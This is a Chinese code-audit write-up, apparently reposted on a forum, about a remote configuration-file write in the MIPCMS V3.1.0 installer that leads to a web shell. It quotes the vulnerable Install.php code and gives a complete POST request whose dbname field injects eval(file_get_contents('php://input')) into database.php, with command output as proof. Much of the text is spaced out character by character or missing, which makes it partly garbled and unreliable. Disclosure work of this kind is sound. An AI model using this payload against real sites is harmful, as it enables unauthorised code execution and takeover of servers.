[849] 2018-03-21_【代码审计】MIPCMS远程写入配置文件Getshell

文档创建者:s7ckTeam
浏览次数:18
最后更新:2025-01-16
2018-03-21_【代码审计】MIPCMS远程写入配置文件Getshell 0 0 0 1 0 2 M I P C M S   G e t s h e l l   B y p a s s   B y p a s s   2 0 1 8 - 0 3 - 2 1         M I P C M S   -   M I P S E O G e t s h e l l M I P C M S h t t p s : / / w w w . m i p c m s . c n M I P C M S   V 3 . 1 . 0 2 0 1 8 - 0 1 - 0 1 h t t p : / / w w w . m i p c m s . c n / m i p c m s - 3 . 1 . 0 . z i p   h t t p : / / 1 2 7 . 0 . 0 . 1 / a d m i n   1 / a p p / i n s t a l l / c o n t r o l l e r / I n s t a l l . p h p   1 3 - 2 3 1 .     p u b l i c   f u n c t i o n   i n d e x ( )     2 .     {     3 .               4 .             i f   ( i s _ f i l e ( P U B L I C _ P A T H   .   ' i n s t a l l '   .   D S   . ' i n s t a l l . l o c k ' ) )   {     5 .                     h e a d e r ( ' L o c a t i o n :   '   .   u r l ( ' @ / ' ) ) ;     6 .                     e x i t ( ) ;     7 .             }     8 .             i f   ( ! d e f i n e d ( ' _ _ R O O T _ _ ' ) )   {     9 .                     $ _ r o o t   =   r t r i m ( d i r n a m e ( r t r i m ( $ _ S E R V E R [ ' S C R I P T _ N A M E ' ] ,   ' / ' ) ) ,   ' / ' ) ;     1 0 .                   d e f i n e ( ' _ _ R O O T _ _ ' ,   ( ( ' / '   = =   $ _ r o o t   | |   ' '   = =   $ _ r o o t )   ?   ' '   :   $ _ r o o t ) ) ;     1 1 .           }     i n d e x i n s t a l l . l o c k i n d e x l o c k C M S 1 1 8 - 1 4 2 1 .     p u b l i c   f u n c t i o n   i n s t a l l P o s t ( R e q u e s t   $ r e q u e s t )   {     2 .                                   h e a d e r ( ' A c c e s s - C o n t r o l - A l l o w - O r i g i n :   * ' ) ;     3 .                                   h e a d e r ( ' A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s :   t r u e ' ) ;     4 .                                   h e a d e r ( ' A c c e s s - C o n t r o l - A l l o w - M e t h o d s :   G E T ,   P U T ,   P O S T ,   D E L E T E ,   O P T I O N S ' ) ;     5 .                                   h e a d e r ( ' A c c e s s - C o n t r o l - A l l o w - H e a d e r s :   C o n t e n t - T y p e ,   C o n t e n t - R a n g e , a c c e s s - t o k e n ,   s e c r e t - k e y , a c c e s s - k e y , u i d , s i d , t e r m i n a l , X - F i l e - N a m e , C o n t e n t - D i s p o s i t i o n ,   C o n t e n t - D e s c r i p t i o n ' ) ;     6 .                           i f   ( R e q u e s t : : i n s t a n c e ( ) - > i s P o s t ( ) )   {     7 .                                   $ d b c o n f i g [ ' t y p e ' ] = " m y s q l " ;     8 .                                   $ d b c o n f i g [ ' h o s t n a m e ' ] = i n p u t ( ' p o s t . d b h o s t ' ) ;     9 .                                   $ d b c o n f i g [ ' u s e r n a m e ' ] = i n p u t ( ' p o s t . d b u s e r ' ) ;     1 0 .                                 $ d b c o n f i g [ ' p a s s w o r d ' ] = i n p u t ( ' p o s t . d b p w ' ) ;     1 1 .                                 $ d b c o n f i g [ ' h o s t p o r t ' ] = i n p u t ( ' p o s t . d b p o r t ' ) ;     1 2 .                                 $ d b n a m e = s t r t o l o w e r ( i n p u t ( ' p o s t . d b n a m e ' ) ) ;     1 3 .                                     1 4 .                                 $ u s e r n a m e   =   i n p u t ( ' p o s t . u s e r n a m e ' ) ;     1 5 .                                 $ p a s s w o r d   =   i n p u t ( ' p o s t . p a s s w o r d ' ) ;     1 6 .                                 $ r p a s s w o r d   =   i n p u t ( ' p o s t . r p a s s w o r d ' ) ;     1 7 .                                 i f   ( ! $ u s e r n a m e )   {    
1 8 .                                         r e t u r n   j s o n E r r o r ( ' ' ) ;     1 9 .                                 }     2 0 .                                 i f   ( ! $ p a s s w o r d )   {     2 1 .                                         r e t u r n   j s o n E r r o r ( ' ' ) ;     2 2 .                                 }     2 3 .                                 i f   ( ! $ r p a s s w o r d )   {     2 4 .                                         r e t u r n   j s o n E r r o r ( ' ' ) ;     2 5 .                                 }             i n d e x i n s t a l l . l o c k i n s t a l l P o s t l o c k 1 .     $ d s n   =   " m y s q l : d b n a m e = { $ d b n a m e } ; h o s t = { $ d b c o n f i g [ ' h o s t n a m e ' ] } ; p o r t = { $ d b c o n f i g [ ' h o s t p o r t ' ] } ; c h a r s e t = u t f 8 " ;     2 .     t r y   {     3 .             $ d b   =   n e w   P D O ( $ d s n ,   $ d b c o n f i g [ ' u s e r n a m e ' ] ,   $ d b c o n f i g [ ' p a s s w o r d ' ] ) ;     4 .     }   c a t c h   ( P D O E x c e p t i o n   $ e )   {     5 .             r e t u r n   j s o n E r r o r ( ' : ' . $ e - > g e t M e s s a g e ( ) ) ;     6 .     }     7 .     $ d b c o n f i g [ ' d a t a b a s e ' ]   =   $ d b n a m e ;     8 .     $ d b c o n f i g [ ' p r e f i x ' ] = t r i m ( i n p u t ( ' d b p r e f i x ' ) ) ;     9 .     $ t a b l e p r e   =   i n p u t ( " d b p r e f i x " ) ;     1 0 .   $ s q l   =   f i l e _ g e t _ c o n t e n t s ( P U B L I C _ P A T H . ' p a c k a g e ' . D S . ' m i p c m s _ v _ 3 _ 1 _ 0 . s q l ' ) ;     1 1 .   $ s q l   =   s t r _ r e p l a c e ( " r " ,   " n " ,   $ s q l ) ;     1 2 .   $ s q l   =   e x p l o d e ( " ; n " ,   $ s q l ) ;     1 3 .   $ d e f a u l t _ t a b l e p r e   =   " m i p _ " ;     1 4 .   $ s q l   =   s t r _ r e p l a c e ( "   ` { $ d e f a u l t _ t a b l e p r e } " ,   "   ` { $ t a b l e p r e } " ,   $ s q l ) ;     1 5 .   f o r e a c h   ( $ s q l   a s   $ i t e m )   {     1 6 .           $ i t e m   =   t r i m ( $ i t e m ) ;     1 7 .           i f ( e m p t y ( $ i t e m ) )   c o n t i n u e ;     1 8 .           p r e g _ m a t c h ( ' / C R E A T E   T A B L E   ` ( [ ^   ] * ) ` / ' ,   $ i t e m ,   $ m a t c h e s ) ;     1 9 .           i f ( $ m a t c h e s )   {     2 0 .                   i f ( f a l s e   ! = =   $ d b - > e x e c ( $ i t e m ) ) {     2 1 .       2 2 .                   }   e l s e   {     2 3 .                         r e t u r n   j s o n E r r o r ( ' ' ) ;     2 4 .                   }     2 5 .           }   e l s e   {     2 6 .                   $ d b - > e x e c ( $ i t e m ) ;     2 7 .           }     2 8 .   }     M y s q l 退 1 7 2 - 1 9 2 1 .     i f ( i s _ a r r a y ( $ d b c o n f i g ) ) {     2 .             $ c o n f   =   f i l e _ g e t _ c o n t e n t s ( P U B L I C _ P A T H . ' p a c k a g e ' . D S . ' d a t a b a s e . p h p ' ) ;     3 .             f o r e a c h   ( $ d b c o n f i g   a s   $ k e y   = >   $ v a l u e )   {     4 .                     $ c o n f   =   s t r _ r e p l a c e ( " # { $ k e y } # " ,   $ v a l u e ,   $ c o n f ) ;     5 .             }     6 .             $ i n s t a l l   =   C O N F _ P A T H ;     7 .             i f ( ! i s _ w r i t a b l e ( $ i n s t a l l ) ) {     8 .                     r e t u r n   j s o n E r r o r ( ' ' . $ i n s t a l l . ' ' ) ;     9 .             }     1 0 .           t r y   {     1 1 .                   $ f i l e S t a t u s   =   i s _ f i l e ( C O N F _ P A T H .   ' / d a t a b a s e . p h p ' ) ;     1 2 .                   i f   ( $ f i l e S t a t u s )   {    
0 3 1 3 .                             u n l i n k ( C O N F _ P A T H .   ' / d a t a b a s e . p h p ' ) ;     1 4 .                   }     1 5 .                   f i l e _ p u t _ c o n t e n t s ( C O N F _ P A T H .   ' / d a t a b a s e . p h p ' ,   $ c o n f ) ;     1 6 .                   r e t u r n   j s o n S u c c e s s ( ' ' , 1 ) ;     1 7 .           }   c a t c h   ( E x c e p t i o n   $ e )   {     1 8 .                   r e t u r n   j s o n E r r o r ( ' d a t a b a s e . p h p s y s t e m / c o n f i g   ' ) ;     1 9 .           }     i n s t a l l P o s t d a t a b a s e . p h p i n s t a l l . l o c k i n s t a l l P o s t C M S I P 1 9 2 . 1 6 8 . 8 . 1 3 1                                           I P 1 9 2 . 1 6 8 . 8 . 1 C M S 1 m y s q l m i p c m s M I P C M S 2 P a y l o a d G e t s h e l l 1 P a y l o a d 1 M y s q l 退 5 1 .     r e t u r n   [     2 .             ' h o s t n a m e '               = >   ' 1 2 7 . 0 . 0 . 1 ' ,         / /       3 .             ' d a t a b a s e '               = >   ' t e s t ' ,                   / /       4 .             ' u s e r n a m e '               = >   ' r o o t ' ,                   / /       5 .             ' p a s s w o r d '               = >   ' r o o t ' ,                   / /       6 .             ' h o s t p o r t '               = >   ' 3 3 0 6 ' ,                   / /       7 .     ] ;     M y s q l M y s q l 5 1 6 M y s q l P a y l o a d 2 $ _ G E T $ _ G E T / $ _ P O S T , p h p : / / i n p u t w e b s h e l l 1 .     P a y l o a d     2 .   t e s t ' , 1 = > e v a l ( f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ) , ' x x ' = > '     2 1 1 9 2 . 1 6 8 . 8 . 1 M y s q l t e s t ' , 1 = > e v a l ( f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ) , ' x x ' = > '
0 4 2 访 1 9 2 . 1 6 8 . 8 . 1 3 1 P a y l o a d 1 .   P a y l o a d     2 .   h t t p : / / 1 9 2 . 1 6 8 . 8 . 1 3 1 / i n d e x . p h p ? s = / i n s t a l l / I n s t a l l / i n s t a l l P o s t     3 .   P O S T u s e r n a m e = a d m i n & p a s s w o r d = a d m i n & r p a s s w o r d = a d m i n & d b p o r t = 3 3 0 6 & d b n a m e = t e s t ' , 1 = > e v a l ( f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ) , ' x x ' = > ' & d b h o s t = 1 9 2 . 1 6 8 . 8 . 1 & d b u s e r = r o o t & d b p w = r o o t     w h o a m i a d m i n i s t r a t o r 1 " ' < > h t m l e n c o d e 2 B y p a s s A b o u t   M e W A F
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则